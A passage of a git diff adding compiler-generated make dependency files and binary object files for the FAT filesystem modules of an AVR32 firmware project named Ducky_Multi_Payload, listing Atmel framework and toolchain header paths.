5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h \ + ../src/asf/common/services/storage/ctrl_access/ctrl_access.h \ + ../src/config/conf_access.h ../src/asf/common/boards/board.h \ + ../src/asf/avr32/boards/evk1101/evk1101.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h + +../src/config/conf_explorer.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 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(x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ 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5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h: + +../src/asf/common/services/storage/ctrl_access/ctrl_access.h: + +../src/config/conf_access.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat.o new file mode 100644 index 0000000..15a4807 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat_unusual.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat_unusual.d new file mode 100644 index 0000000..a4d9f1e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat_unusual.d @@ -0,0 +1,186 @@ +src/asf/avr32/services/fs/fat/fat_unusual.d \ + src/asf/avr32/services/fs/fat/fat_unusual.o: \ + ../src/asf/avr32/services/fs/fat/fat_unusual.c \ + ../src/config/conf_explorer.h ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h \ + ../src/asf/common/utils/interrupt.h ../src/asf/avr32/utils/parts.h \ + ../src/asf/common/utils/interrupt/interrupt_avr32.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/drivers/intc/intc.h \ + ../src/asf/avr32/services/fs/fat/fs_com.h \ + ../src/asf/avr32/services/fs/fat/fat.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h \ + ../src/asf/common/services/storage/ctrl_access/ctrl_access.h \ + ../src/config/conf_access.h ../src/asf/common/boards/board.h \ + ../src/asf/avr32/boards/evk1101/evk1101.h \ + ../src/asf/avr32/boards/evk1101/led.h \ + ../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h + +../src/config/conf_explorer.h: + +../src/asf/avr32/utils/compiler.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/utils/preprocessor/stringz.h: + +../src/asf/avr32/utils/preprocessor/mrepeat.h: + +../src/asf/avr32/utils/preprocessor/preprocessor.h: + +../src/asf/avr32/utils/parts.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/twi_211.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usart_400.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/usbb_310.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/wdt_230.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stddef.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/newlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/config.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/ieeefp.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/reent.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/_ansi.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/_default_types.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/lock.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/machine/stdlib.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/alloca.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/include/stdbool.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/stdint.h: + +../src/asf/common/utils/interrupt.h: + +../src/asf/avr32/utils/parts.h: + +../src/asf/common/utils/interrupt/interrupt_avr32.h: + +../src/asf/avr32/utils/preprocessor/tpaste.h: + +../src/asf/avr32/drivers/intc/intc.h: + +../src/asf/avr32/services/fs/fat/fs_com.h: + +../src/asf/avr32/services/fs/fat/fat.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/string.h: + +c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/sys/string.h: + +../src/asf/common/services/storage/ctrl_access/ctrl_access.h: + +../src/config/conf_access.h: + +../src/asf/common/boards/board.h: + +../src/asf/avr32/boards/evk1101/evk1101.h: + +../src/asf/avr32/boards/evk1101/led.h: + +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.h: diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat_unusual.o b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat_unusual.o new file mode 100644 index 0000000..51a0915 Binary files /dev/null and b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/fat_unusual.o differ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/file.d b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/file.d new file mode 100644 index 0000000..abe0f64 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/src/asf/avr32/services/fs/fat/file.d @@ -0,0 +1,191 @@ +src/asf/avr32/services/fs/fat/file.d src/asf/avr32/services/fs/fat/file.o: \ + ../src/asf/avr32/services/fs/fat/file.c ../src/config/conf_explorer.h \ + ../src/asf/avr32/utils/compiler.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/preprocessor/tpaste.h \ + ../src/asf/avr32/utils/preprocessor/stringz.h \ + ../src/asf/avr32/utils/preprocessor/mrepeat.h \ + ../src/asf/avr32/utils/preprocessor/preprocessor.h \ + ../src/asf/avr32/utils/parts.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/io.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/uc3b0256.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/core_sc0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/abi.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ocd_s0_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/intc_101.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/adc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/eic_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/flashc_200.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/freqm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/gpio_110.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/hmatrix_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pdca_102.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pm_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/pwm_130.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/rtc_230.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/spi_199.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/ssc_310.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 5.1\extensions\atmel\avrgcc\3.3.1.27\avrtoolchain\bin\../lib/gcc/avr32/4.4.3/../../../../avr32/include/avr32/tc_222.h \ + c:\program\ files\ (x86)\atmel\avr\ studio\ 